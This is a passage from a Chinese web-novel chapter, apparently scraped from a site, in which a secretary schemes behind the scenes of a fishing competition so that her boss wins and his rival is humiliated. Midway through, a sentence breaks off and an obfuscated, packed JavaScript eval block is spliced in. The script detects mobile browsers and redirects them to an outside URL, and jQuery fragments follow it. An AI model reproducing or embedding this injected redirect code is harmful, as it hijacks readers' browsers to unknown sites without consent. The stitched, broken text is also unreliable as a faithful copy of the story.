钓鱼协会的社团活动室里。
凌零零正忙着整理一摞烫金边的邀请函。
她手指灵活地将最后一张邀请函塞进信封,嘴角不自觉地上扬
——那张邀请函上赫然写着"老秦先生"三个字。
"小凌,邀请函都准备好了吗?"
老秦推门而入,身上还带着河流边青草地的清新气息。
他今天穿着崭新的钓鱼马甲,胸前别满了各种鱼形徽章,走路时都带着风。
"都准备好了,秦总。"
凌零零抬起头,露出职业化的微笑。
"按照您的指示,邀请了全市钓鱼协会的骨干会员,还有几位特邀嘉宾。"
她故意停顿了一下,"包括孔教授在内。"
老秦听着频频点头,快步走到桌前拿起那张写着自己名字的邀请函,来回翻看。
"好,很好!这次我一定要让他们看看,什么叫真正的钓鱼技术!"
他拍了拍凌零零的肩膀。
"小凌啊,这次比赛你可得好好组织,特别是那个称重环节,一定要让所有人都看清楚鱼的大小!"
凌零零乖巧地点头,心里却想着另一件事。
等老秦志得意满地离开后,她立刻拨通了孔教授的电话。
"孔教授,关于下周钓鱼比赛的事......"
"我不去!"
电话那头传来孔教授斩钉截铁的声音:"汪行那家伙是不是也要参赛?上次他把鲤鱼养在地下室的事情我还没忘呢!"
凌零零早有准备。
她马上放软了声音:"教授,您先别生气。汪行他...其实是个很纯粹的钓鱼爱好者。"
"您想啊,他平时连条小鱼都钓不到,钓到那条大鲤鱼时多兴奋,就是因为太珍惜了,才想方设法要养起来。"
电话那头的声音停了停,孔教授的声音缓和了些。
"但那也不能养在地下室啊!光线不足,水流不畅,对鱼的健康不好,还会吵到邻居——"
"所以他在法院强制拆除地下室的水池后,也没有再修建一个嘛?"凌零零抓住机会插话。
"我相信,当时听了您的批评,他肯定也是惭愧的,所以才把鱼送走了。"
就是送走了鱼,却带来了白噪音机。
不过这句话,她可不敢现在说出口来。
这当然是凌零零临时编的,但她知道孔教授心软,特别是对真心爱护鱼类的人。
果然,电话那头沉默了几秒。
凌零零趁热打铁。
"而且这次比赛,钓鱼协会的会长秦总特意提出要请您当技术指导。他说没有您的指点,他的钓鱼技术不可能进步这么快。"
电话里传来孔教授的一声轻哼,但凌零零能听出其中的得意。
孔教授虽然脾气火爆,但在专业领域得到认可时,那份学者的骄傲总会占据上风。
"小凌啊,"孔教授突然话锋一转。
"你是不是早就计划好了?故意介绍我给老秦认识,现在又安排这场比赛?"
"教授,"凌零零轻笑出声。
"您就放心参加比赛吧,发挥您最好的水平。至于其他的...交给我就好。"
老秦很豪气,把钓鱼协会的社团活动室安排在市区的一栋办公楼里。
办公楼紧紧挨着一个有湖的公园。
挂断电话后,凌零零走到窗前,从窗口望出去,就能看到楼下的湖。
湖面波光粼粼,偶尔有鱼儿跃出水面,激起一圈涟漪。
她想起亲眼见到老秦钓鱼时的场景
——那个中年男人笨拙地甩着鱼竿,钓上来的却基本只有水草。
而现在,在孔教授的指导下,老秦已经能准确判断不同鱼类的活动水层和觅食时间了。
"这次比赛一定会很有趣。"
凌零零自言自语道,眼睛弯成了月牙。
办公桌上,阳光正好落在那叠邀请函上。
"钓鱼精英预选赛"几个烫金大字闪闪发光。
凌零零轻轻抚过这些卡片,仿佛已经看到了比赛当天热闹的场景——彩旗飘扬,钓竿林立,还有她精心安排的那个"意外惊喜"。
"希望各位都能尽情参与。"
她低声说道,将最后一封邀请函放进了抽屉,作为组委会秘书,她有权利零距离观摩比赛。
窗外,一阵风吹过湖面,荡起层层波纹。
阳光像融化的蜂蜜一样稠密地倾泻在湿地公园上空。
凌零零跟在老秦身后穿过停车场时,远远就听见此起彼伏的甩竿声和交谈声。
沥青路面被晒得发软,每一步都像踩在橡皮糖上,运动鞋底发出轻微的黏连声。
"嚯,阵仗不小啊。"
老秦摘下鸭舌帽扇风,露出被晒得发红的额头。
他今天穿了件印满卡通鱼图案的T恤,后背已经被汗水洇出深色的痕迹。
转过最后一个灌木丛,比赛现场豁然开朗。
凌零零不自觉地"哇"了一声
——整片湖岸线像被彩虹旗占领了,五颜六色的遮阳伞像蘑菇一样支棱在各处。
至少五十个钓鱼佬沿着木质栈道排开,每个人面前都支着两三根钓竿,金属部件在阳光下闪闪发亮。
"那是海竿阵。"老秦顺着她的视线解释。
"那边穿蓝马甲的,去年还破了申市的协会纪录。"
他忽然压低声音,"不过现在嘛..."得意地拍了拍自己腰间别着的仿生饵盒,"孔教授新调制的秘方..."
凌零零踮起脚尖张望,防晒霜的茉莉花香混着湖面的水汽钻进鼻腔。
她很快在右前方发现了汪行
——太好认了,那顶定制的荧光色遮阳帽正在阳光下熠熠生辉,帽檐上还别着七八个鱼形徽章。
汪行今天显然精心打扮过,全套一看就价值不菲的钓鱼服,正襟危坐的样子活像参加国宴。
"咱们就这儿吧。"老秦选了处树荫与阳光交界的位置,动作麻利地支起折叠椅。
凌零零帮忙展开遮阳伞时,听见不远处传来中气十足的喊声:"注意了各位!比赛开始——"
霎时间,几十根钓竿同时扬起,鱼线破空的"嗖嗖"声像一群蜜蜂掠过湖面。
凌零零刚涂完第三层防晒霜,老秦已经钓上来第一条鲫鱼。
银灰色的鱼尾在空中划出弧线,"啪"地落进他特制的透明储物箱
——那简直是个小型水族馆,自带氧气泵和温度计,几条先到的鱼正在水草间追逐嬉戏。
"孔教授说这个深度正好是..."老秦絮絮叨叨调整着浮漂。
凌零零
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984565|174234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心不在焉地应着,从斜挎包里摸出迷你望远镜。
金属镜筒被晒得发烫,调焦时她闻到自己手腕上防晒霜混合着护手霜的甜腻味道。
镜头里,汪行的表情像打翻的调色盘。
他面前那个镶着品牌logo的鱼桶空空如也,而隔壁大爷的塑料水桶已经装了半桶。
当镜头移到汪行抽搐的嘴角时,凌零零赶紧咬住下唇
——可不能笑出声,她今天可是以组委会秘书的身份来的。
"见鬼了..."汪行的嘟囔声顺着风飘过来。"明明用了最贵的拟饵..."
他猛地扯起鱼竿检查,金属鱼钩在阳光下闪闪发亮。
正午的太阳越发毒辣,凌零零把遮阳伞又倾斜了十五度。
湖面开始蒸腾起朦胧的水汽,远处芦苇丛里有白鹭掠过。
老秦储物箱里的鱼已经增加到七条,他正用孔教授教的特殊手法给鱼鳃按摩:"这样能保持鲜活度..."
"哗啦——"
突如其来的水花声引得众人转头。
汪行的钓竿弯成了夸张的弧形,线轮疯狂转动发出"吱吱"尖叫。
"大的!绝对是大的!"他激动得声音都变调了,帽子上的徽章叮当作响。
附近几个参赛者不由自主地收起钓竿给他腾空间。
凌零零被惊得的望远镜差点脱手。
只见汪行扎起马步,像拔河似的往后仰,钓鱼服后背"刺啦"裂开道口子。
当那个黑影破水而出时,时间仿佛被按了暂停键——
一个锈迹斑斑的自行车前轮。
轮毂上还缠着水草,辐条间卡着半个蚌壳,在最高点停顿片刻后,"咣当"砸在汪行脚边。
有根辐条弹起来,正好打翻了他的鱼桶。
"噗——"不知是谁先笑出声,紧接着整个湖岸爆发出雷动的笑声。
隔壁大爷的假牙都笑掉了,正手忙脚乱在草丛里摸索;连严肃的裁判都背过身去肩膀直抖。
凌零零把脸埋进防晒袖里,憋笑憋得肚子疼。
透过布料缝隙,她看见汪行的脸从通红变成铁青,最后定格在一种奇异的酱紫色。
汪行悻悻地坐回椅子,结果"咔嚓"一声——折叠椅腿陷进了松软的泥土。
当他狼狈地爬起来时,发现自己的坐垫正漂在湖中央,上面蹲了只趾高气扬的青蛙。
凌零零彻底忍不住了,笑声从指缝里漏出来,惊飞了几只正在偷吃鱼饵的水鸟。
......
钓鱼比赛逐渐接近尾声,湖面在夕阳映照下泛着粼粼金光。
凌零零站在岸边的高处,举着迷你望远镜,目光如鹰隼般扫过全场。
她在心中快速计算着每位选手的渔获
——老秦的鱼护里,草鱼、鲤鱼堆得满满当当,无论是单尾重量还是总数量,都遥遥领先,甚至比第二名多出近一倍。
“很好,断层第一。”凌零零嘴角微扬,低声自语。
第一阶段的任务已经完成,老秦果然不负众望。
接下来,该执行第二阶段计划了。
她不动声色地收起迷你望远镜,从口袋里摸出手机,迅速编辑了一条信息:“可以行动。”
发完消息,凌零零深吸一口气,目光再次投向湖面,等待着关键人物的出现。